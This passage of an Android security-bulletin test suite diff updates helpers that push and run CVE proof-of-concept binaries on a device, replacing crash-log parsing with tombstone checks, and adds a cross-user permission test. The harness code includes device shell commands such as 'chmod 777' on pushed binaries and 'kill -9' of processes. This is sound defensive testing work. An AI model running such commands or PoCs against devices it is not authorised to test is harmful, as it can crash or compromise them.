 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.MetricsReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
@@ -29,14 +27,11 @@
 import com.android.ddmlib.IShellOutputReceiver;
 import com.android.ddmlib.NullOutputReceiver;
 import com.android.sts.common.tradefed.testtype.SecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
 import java.io.BufferedOutputStream;
 import java.io.File;
 import java.io.FileOutputStream;
@@ -47,7 +42,6 @@
 import java.util.Collections;
 import java.util.List;
 import java.util.Map;
-import java.util.Scanner;
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -64,15 +58,18 @@
     final static Pattern regexSpecialCharsEscapedPattern =
             Pattern.compile("[" + regexSpecialCharsEscaped + "]");
 
+    /**
+     * @deprecated Use {@link NativePoc} instead.
+     */
+    @Deprecated
     public static class pocConfig {
         String binaryName;
         String arguments;
         Map<String, String> envVars;
         String inputFilesDestination;
         ITestDevice device;
-        CrashUtils.Config config;
+        TombstoneUtils.Config config = new TombstoneUtils.Config();
         List<String> inputFiles = Collections.emptyList();
-        boolean checkCrash = true;
 
         pocConfig(String binaryName, ITestDevice device) {
             this.binaryName = binaryName;
@@ -80,12 +77,15 @@
         }
     }
 
-    /** Runs a commandline on the specified device
+    /**
+     * Runs a commandline on the specified device
      *
+     * @deprecated Use {@link CommandUtil} instead.
      * @param command the command to be ran
      * @param device device for the command to be ran on
      * @return the console output from running the command
      */
+    @Deprecated
     public static String runCommandLine(String command, ITestDevice device) throws Exception {
         if ("reboot".equals(command)) {
             throw new IllegalArgumentException(
@@ -97,10 +97,12 @@
     /**
      * Pushes and runs a binary to the selected device
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @return the console output from the binary
      */
+    @Deprecated
     public static String runPoc(String pocName, ITestDevice device) throws Exception {
         return runPoc(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
     }
@@ -108,11 +110,13 @@
     /**
      * Pushes and runs a binary to the selected device
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @return the console output from the binary
      */
+    @Deprecated
     public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
         return runPoc(pocName, device, timeout, null);
     }
@@ -120,12 +124,14 @@
     /**
      * Pushes and runs a binary to the selected device
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @param arguments the input arguments for the poc
      * @return the console output from the binary
      */
+    @Deprecated
     public static String runPoc(String pocName, ITestDevice device, int timeout, String arguments)
             throws Exception {
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
@@ -136,48 +142,57 @@
     /**
      * Pushes and runs a binary to the selected device and ignores any of its output.
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
+    @Deprecated
     public static void runPocNoOutput(String pocName, ITestDevice device, int timeout)
             throws Exception {
         runPocNoOutput(pocName, device, timeout, null);
     }
 
     /**
-     * Pushes and runs a binary with arguments to the selected device and
-     * ignores any of its output.
+     * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @param arguments input arguments for the poc
      */
-    public static void runPocNoOutput(String pocName, ITestDevice device, int timeout,
-            String arguments) throws Exception {
+    @Deprecated
+    public static void runPocNoOutput(
+            String pocName, ITestDevice device, int timeout, String arguments) throws Exception {
         runPoc(pocName, device, timeout, arguments, null);
     }
 
     /**
-     * Pushes and runs a binary with arguments to the selected device and
-     * ignores any of its output.
+     * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @param arguments input arguments for the poc
      * @param receiver the type of receiver to run against
      */
-    public static int runPoc(String pocName, ITestDevice device, int timeout,
-            String arguments, IShellOutputReceiver receiver) throws Exception {
+    @Deprecated
+    public static int runPoc(
+            String pocName,
+            ITestDevice device,
+            int timeout,
+            String arguments,
+            IShellOutputReceiver receiver)
+            throws Exception {
               return runPoc(pocName, device, timeout, arguments, null, receiver);
     }
 
     /**
-     * Pushes and runs a binary with arguments to the selected device and
-     * ignores any of its output.
+     * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
@@ -185,9 +200,15 @@
      * @param envVars run the poc with environment variables
      * @param receiver the type of receiver to run against
      */
-    public static int runPoc(String pocName, ITestDevice device, int timeout,
-            String arguments, Map<String, String> envVars,
-            IShellOutputReceiver receiver) throws Exception {
+    @Deprecated
+    public static int runPoc(
+            String pocName,
+            ITestDevice device,
+            int timeout,
+            String arguments,
+            Map<String, String> envVars,
+            IShellOutputReceiver receiver)
+            throws Exception {
         String remoteFile = String.format("%s%s", TMP_PATH, pocName);
         SecurityTestCase.getPocPusher(device).pushFile(pocName + "_sts", remoteFile);
 
@@ -243,9 +264,12 @@
 
     /**
      * Assert the poc is executable
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      */
+    @Deprecated
     private static void assertPocExecutable(String pocName, ITestDevice device) throws Exception {
         String fullPocPath = TMP_PATH + pocName;
         device.executeShellCommand("chmod 777 " + fullPocPath);
@@ -258,48 +282,6 @@
     }
 
     /**
-     * Enables malloc debug on a given process.
-     *
-     * @param processName the name of the process to run with libc malloc debug
-     * @param device the device to use
-     * @return true if enabling malloc debug succeeded
-     */
-    public static boolean enableLibcMallocDebug(String processName, ITestDevice device) throws Exception {
-        device.executeShellCommand("setprop libc.debug.malloc.program " + processName);
-        device.executeShellCommand("setprop libc.debug.malloc.options \"backtrace guard\"");
-        /**
-         * The pidof command is being avoided because it does not exist on versions before M, and
-         * it behaves differently between M and N.
-         * Also considered was the ps -AoPID,CMDLINE command, but ps does not support options on
-         * versions before O.
-         * The [^]] prefix is being used for the grep command to avoid the case where the output of
-         * ps includes the grep command itself.
-         */
-        String cmdOut = device.executeShellCommand("ps -A | grep '[^]]" + processName + "'");
-        /**
-         * .hasNextInt() checks if the next token can be parsed as an integer, not if any remaining
-         * token is an integer.
-         * Example command: $ ps | fgrep mediaserver
-         * Out: media     269   1     77016  24416 binder_thr 00f35142ec S /system/bin/mediaserver
-         * The second field of the output is the PID, which is needed to restart the process.
-         */
-        Scanner s = new Scanner(cmdOut).useDelimiter("\\D+");
-        if(!s.hasNextInt()) {
-            CLog.w("Could not find pid for process: " + processName);
-            return false;
-        }
-
-        String result = device.executeShellCommand("kill -9 " + s.nextInt());
-        if(!result.equals("")) {
-            CLog.w("Could not restart process: " + processName);
-            return false;
-        }
-
-        TimeUnit.SECONDS.sleep(1);
-        return true;
-    }
-
-    /**
      * Pushes and installs an apk to the selected device
      *
      * @param pathToApk a string path to apk from the /res folder
@@ -394,7 +376,10 @@
     }
     /**
      * Utility function to help check the exit code of a shell command
+     *
+     * @deprecated Use {@link CommandUtil} instead.
      */
+    @Deprecated
     public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
         long time = System.currentTimeMillis();
         String exitStatusString = runCommandLine(
@@ -416,16 +401,17 @@
     }
 
     /**
-     * Pushes and runs a binary to the selected device and checks exit code
-     * Return code 113 is used to indicate the vulnerability
+     * Pushes and runs a binary to the selected device and checks exit code Return code 113 is used
+     * to indicate the vulnerability
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
     @Deprecated
-    public static boolean runPocCheckExitCode(String pocName, ITestDevice device,
-                                              int timeout) throws Exception {
+    public static boolean runPocCheckExitCode(String pocName, ITestDevice device, int timeout)
+            throws Exception {
 
        //Refer to go/asdl-sts-guide Test section for knowing the significance of 113 code
        return runPocGetExitStatus(pocName, device, timeout) == 113;
@@ -433,11 +419,13 @@
 
     /**
      * Pushes and runs a binary to the device and returns the exit status.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
-
      */
+    @Deprecated
     public static int runPocGetExitStatus(String pocName, ITestDevice device, int timeout)
             throws Exception {
        return runPocGetExitStatus(pocName, null, device, timeout);
@@ -445,36 +433,49 @@
 
     /**
      * Pushes and runs a binary to the device and returns the exit status.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param arguments input arguments for the poc
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
-    public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
-            int timeout) throws Exception {
+    @Deprecated
+    public static int runPocGetExitStatus(
+            String pocName, String arguments, ITestDevice device, int timeout) throws Exception {
               return runPocGetExitStatus(pocName, arguments, null, device, timeout);
     }
 
     /**
      * Pushes and runs a binary to the device and returns the exit status.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param arguments input arguments for the poc
      * @param envVars run the poc with environment variables
      * @param device device to be run on
      * @param timeout time to wait for output in seconds
      */
+    @Deprecated
     public static int runPocGetExitStatus(
-            String pocName, String arguments, Map<String, String> envVars,
-            ITestDevice device, int timeout) throws Exception {
+            String pocName,
+            String arguments,
+            Map<String, String> envVars,
+            ITestDevice device,
+            int timeout)
+            throws Exception {
         return runPoc(pocName, device, timeout, arguments, envVars, null);
     }
 
     /**
      * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
+    @Deprecated
     public static void runPocAssertExitStatusNotVulnerable(
             String pocName, ITestDevice device, int timeout) throws Exception {
         runPocAssertExitStatusNotVulnerable(pocName, null, device, timeout);
@@ -482,27 +483,37 @@
 
     /**
      * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param arguments input arguments for the poc
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
-    public static void runPocAssertExitStatusNotVulnerable(String pocName, String arguments,
-            ITestDevice device, int timeout) throws Exception {
+    @Deprecated
+    public static void runPocAssertExitStatusNotVulnerable(
+            String pocName, String arguments, ITestDevice device, int timeout) throws Exception {
         runPocAssertExitStatusNotVulnerable(pocName, arguments, null, device, timeout);
     }
 
     /**
      * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param arguments input arguments for the poc
      * @param envVars run the poc with environment variables
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
+    @Deprecated
     public static void runPocAssertExitStatusNotVulnerable(
-            String pocName, String arguments, Map<String, String> envVars,
-            ITestDevice device, int timeout) throws Exception {
+            String pocName,
+            String arguments,
+            Map<String, String> envVars,
+            ITestDevice device,
+            int timeout)
+            throws Exception {
         assertTrue("PoC returned exit status 113: vulnerable",
                 runPocGetExitStatus(pocName, arguments, envVars, device, timeout) != 113);
     }
@@ -510,136 +521,164 @@
     /**
      * Runs the poc binary and asserts that there are no security crashes that match the expected
      * process pattern.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param processPatternStrings a Pattern string to match the crash tombstone process
      */
-    public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
-            String... processPatternStrings) throws Exception {
+    @Deprecated
+    public static void runPocAssertNoCrashes(
+            String pocName, ITestDevice device, String... processPatternStrings) throws Exception {
         runPocAssertNoCrashes(pocName, device,
-                new CrashUtils.Config().setProcessPatterns(processPatternStrings));
+                new TombstoneUtils.Config().setProcessPatterns(processPatternStrings));
     }
 
     /**
      * Runs the poc binary and asserts that there are no security crashes that match the expected
      * process pattern.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param config a crash parser configuration
      */
-    public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
-            CrashUtils.Config config) throws Exception {
+    @Deprecated
+    public static void runPocAssertNoCrashes(
+            String pocName, ITestDevice device, TombstoneUtils.Config config) throws Exception {
         runPocAssertNoCrashes(pocName, device, null, config);
     }
 
     /**
      * Runs the poc binary and asserts that there are no security crashes that match the expected
      * process pattern, including arguments when running.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param arguments input arguments for the poc
      * @param config a crash parser configuration
      */
-    public static void runPocAssertNoCrashes(String pocName, ITestDevice device, String arguments,
-            CrashUtils.Config config) throws Exception {
-        AdbUtils.runCommandLine("logcat -c", device);
-        AdbUtils.runPocNoOutput(pocName, device,
-                SecurityTestCase.TIMEOUT_NONDETERMINISTIC, arguments);
-        assertNoCrashes(device, config);
+    @Deprecated
+    public static void runPocAssertNoCrashes(
+            String pocName, ITestDevice device, String arguments, TombstoneUtils.Config config)
+            throws Exception {
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(device, config)) {
+            AdbUtils.runPocNoOutput(pocName, device,
+                    SecurityTestCase.TIMEOUT_NONDETERMINISTIC, arguments);
+        }
     }
 
     /**
-     * Runs the poc binary and asserts following 2 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+     * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+     * condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param binaryName name of the binary
      * @param arguments arguments for running the binary
      * @param device device to be run on
      */
-    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
-            ITestDevice device) throws Exception {
+    @Deprecated
+    public static void runPocAssertNoCrashesNotVulnerable(
+            String binaryName, String arguments, ITestDevice device) throws Exception {
         runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device, null);
     }
 
     /**
-     * Runs the poc binary and asserts following 2 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+     * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+     * condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param binaryName name of the binary
      * @param arguments arguments for running the binary
      * @param device device to be run on
-     * @param processPatternStrings a Pattern string to match the crash tombstone
-     *        process
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
      */
-    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
-            ITestDevice device, String processPatternStrings[]) throws Exception {
+    @Deprecated
+    public static void runPocAssertNoCrashesNotVulnerable(
+            String binaryName, String arguments, ITestDevice device, String processPatternStrings[])
+            throws Exception {
         runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device,
                 processPatternStrings);
     }
 
     /**
-     * Runs the poc binary and asserts following 2 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+     * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+     * condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param binaryName name of the binary
      * @param arguments arguments for running the binary
      * @param inputFiles files required as input
-     * @param inputFilesDestination destination directory to which input files are
-     *        pushed
+     * @param inputFilesDestination destination directory to which input files are pushed
      * @param device device to be run on
      */
-    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
-            String inputFiles[], String inputFilesDestination, ITestDevice device)
+    @Deprecated
+    public static void runPocAssertNoCrashesNotVulnerable(
+            String binaryName,
+            String arguments,
+            String inputFiles[],
+            String inputFilesDestination,
+            ITestDevice device)
             throws Exception {
         runPocAssertNoCrashesNotVulnerable(binaryName, arguments, inputFiles, inputFilesDestination,
                 device, null);
     }
 
     /**
-     * Runs the poc binary and asserts following 3 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. There are no security crashes that match the expected process pattern.
-     *  3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+     * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+     * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param binaryName name of the binary
      * @param arguments arguments for running the binary
      * @param inputFiles files required as input
-     * @param inputFilesDestination destination directory to which input files are
-     *        pushed
+     * @param inputFilesDestination destination directory to which input files are pushed
      * @param device device to be run on
-     * @param processPatternStrings a Pattern string to match the crash tombstone
-     *        process
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
      */
-    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
-            String inputFiles[], String inputFilesDestination, ITestDevice device,
-            String processPatternStrings[]) throws Exception {
+    @Deprecated
+    public static void runPocAssertNoCrashesNotVulnerable(
+            String binaryName,
+            String arguments,
+            String inputFiles[],
+            String inputFilesDestination,
+            ITestDevice device,
+            String processPatternStrings[])
+            throws Exception {
         runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null,
                 inputFiles, inputFilesDestination, device, processPatternStrings);
     }
 
     /**
-     * Runs the poc binary and asserts following 3 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. There are no security crashes that match the expected process pattern.
-     *  3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+     * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+     * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param binaryName name of the binary
      * @param arguments arguments for running the binary
      * @param envVars run the poc with environment variables
      * @param inputFiles files required as input
-     * @param inputFilesDestination destination directory to which input files are
-     *        pushed
+     * @param inputFilesDestination destination directory to which input files are pushed
      * @param device device to be run on
      * @param processPatternStrings a Pattern string (other than binary name) to match the crash
-     *        tombstone process
+     *     tombstone process
      */
+    @Deprecated
     public static void runPocAssertNoCrashesNotVulnerable(
-            String binaryName, String arguments, Map<String, String> envVars,
-            String inputFiles[], String inputFilesDestination, ITestDevice device,
-            String... processPatternStrings) throws Exception {
+            String binaryName,
+            String arguments,
+            Map<String, String> envVars,
+            String inputFiles[],
+            String inputFilesDestination,
+            ITestDevice device,
+            String... processPatternStrings)
+            throws Exception {
         pocConfig testConfig = new pocConfig(binaryName, device);
         testConfig.arguments = arguments;
         testConfig.envVars = envVars;
@@ -657,27 +696,28 @@
         String[] processPatternStringsWithSelf = new String[processPatternList.size()];
         processPatternList.toArray(processPatternStringsWithSelf);
         testConfig.config =
-                new CrashUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
+                new TombstoneUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
 
         runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 
     /**
-     * Runs the poc binary and asserts following 3 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. There are no security crashes that match the expected process pattern.
-     *  3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+     * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+     * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param testConfig test configuration
      */
+    @Deprecated
     public static void runPocAssertNoCrashesNotVulnerable(pocConfig testConfig) throws Exception {
         String[] inputFiles = null;
         if(!testConfig.inputFiles.isEmpty()) {
             inputFiles = testConfig.inputFiles.toArray(new String[testConfig.inputFiles.size()]);
             pushResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
         }
-        runCommandLine("logcat -c", testConfig.device);
-        try {
+        try (AutoCloseable a =
+                TombstoneUtils.withAssertNoSecurityCrashes(testConfig.device, testConfig.config)) {
             runPocAssertExitStatusNotVulnerable(testConfig.binaryName, testConfig.arguments,
                     testConfig.envVars, testConfig.device, TIMEOUT_SEC);
         } catch (IllegalArgumentException e) {
@@ -693,63 +733,6 @@
                 removeResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
             }
         }
-        if(testConfig.checkCrash) {
-            if (testConfig.config == null) {
-                testConfig.config = new CrashUtils.Config();
-            }
-            assertNoCrashes(testConfig.device, testConfig.config);
-        }
-    }
-
-    /**
-     * Dumps logcat and asserts that there are no security crashes that match the expected process.
-     * By default, checks min crash addresses
-     * pattern. Ensure that adb logcat -c is called beforehand.
-     * @param device device to be ran on
-     * @param processPatternStrings a Pattern string to match the crash tombstone process
-     */
-    public static void assertNoCrashes(ITestDevice device, String... processPatternStrings)
-            throws Exception {
-        assertNoCrashes(device, new CrashUtils.Config().setProcessPatterns(processPatternStrings));
-    }
-
-    /**
-     * Dumps logcat and asserts that there are no security crashes that match the expected process
-     * pattern. Ensure that adb logcat -c is called beforehand.
-     * @param device device to be ran on
-     * @param config a crash parser configuration
-     */
-    public static void assertNoCrashes(ITestDevice device,
-            CrashUtils.Config config) throws Exception {
-        String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
-
-        JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
-        JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
-
-        MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
-        reportLog.addValue("all_crashes", crashes.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue("security_crashes", securityCrashes.toString(),
-                ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.submit();
-
-        if (securityCrashes.length() == 0) {
-            return; // no security crashes detected
-        }
-
-        StringBuilder error = new StringBuilder();
-        error.append("Security crash detected:\n");
-        error.append("Process patterns:");
-        for (Pattern pattern : config.getProcessPatterns()) {
-            error.append(String.format(" '%s'", pattern.toString()));
-        }
-        error.append("\nCrashes:\n");
-        for (int i = 0; i < crashes.length(); i++) {
-            try {
-                JSONObject crash = crashes.getJSONObject(i);
-                error.append(String.format("%s\n", crash));
-            } catch (JSONException e) {}
-        }
-        fail(error.toString());
     }
 
     public static void assumeHasNfc(ITestDevice device) throws DeviceNotAvailableException {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
index 5580acb..21d2456 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
@@ -21,6 +21,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -36,9 +37,11 @@
     @AsbSecurityTest(cveBugId = 187957589)
     public void testPocBug_187957589() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.os.statsd"));
-        AdbUtils.runPoc("Bug-187957589", getDevice());
-        // Sleep to ensure statsd was able to process the injected event.
-        Thread.sleep(5_000);
-        AdbUtils.assertNoCrashes(getDevice(), "statsd");
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("statsd");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+            AdbUtils.runPoc("Bug-187957589", getDevice());
+            // Sleep to ensure statsd was able to process the injected event.
+            Thread.sleep(5_000);
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java
new file mode 100644
index 0000000..4b8389e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.*;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Bug_248251018 extends NonRootSecurityTestCase {
+
+    @Test
+    @AsbSecurityTest(cveBugId = 248251018)
+    public void testEmergencyInfo_cannotInteractAcrossUsers() throws Exception {
+        String packageList =
+                getDevice()
+                        .executeShellV2Command("pm list package com.android.emergency")
+                        .getStdout();
+        if (!packageList.isEmpty()) {
+            String result =
+                    getDevice()
+                            .executeShellV2Command("dumpsys package com.android.emergency")
+                            .getStdout();
+            assertFalse(result.contains("android.permission.INTERACT_ACROSS_USERS_FULL"));
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
index a4b8506..29601f9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
@@ -20,8 +20,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -40,8 +40,8 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.conscrypt"));
         String binaryName = "CVE-2016-2182";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
-        testConfig.config.checkMinAddress(false);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setIgnoreLowFaultAddress(false);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
index d58b3c3..3e0760d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
@@ -18,8 +18,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -37,11 +37,11 @@
     @Test
     public void testPocCVE_2018_9537() throws Exception {
         String binaryName = "CVE-2018-9537";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV, TombstoneUtils.Signals.SIGBUS, TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
         // example of check crash to skip:
         // Abort message: 'frameworks/av/media/extractors/mkv/MatroskaExtractor.cpp:548 CHECK(mCluster) failed.'
-        testConfig.config = new CrashUtils.Config()
+        testConfig.config = new TombstoneUtils.Config()
                 .setProcessPatterns(binaryName)
                 .appendAbortMessageExcludes("CHECK\\(.*?\\)");
         testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
index 1db523b..0c63f53 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
@@ -18,8 +18,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -36,9 +36,9 @@
     @Test
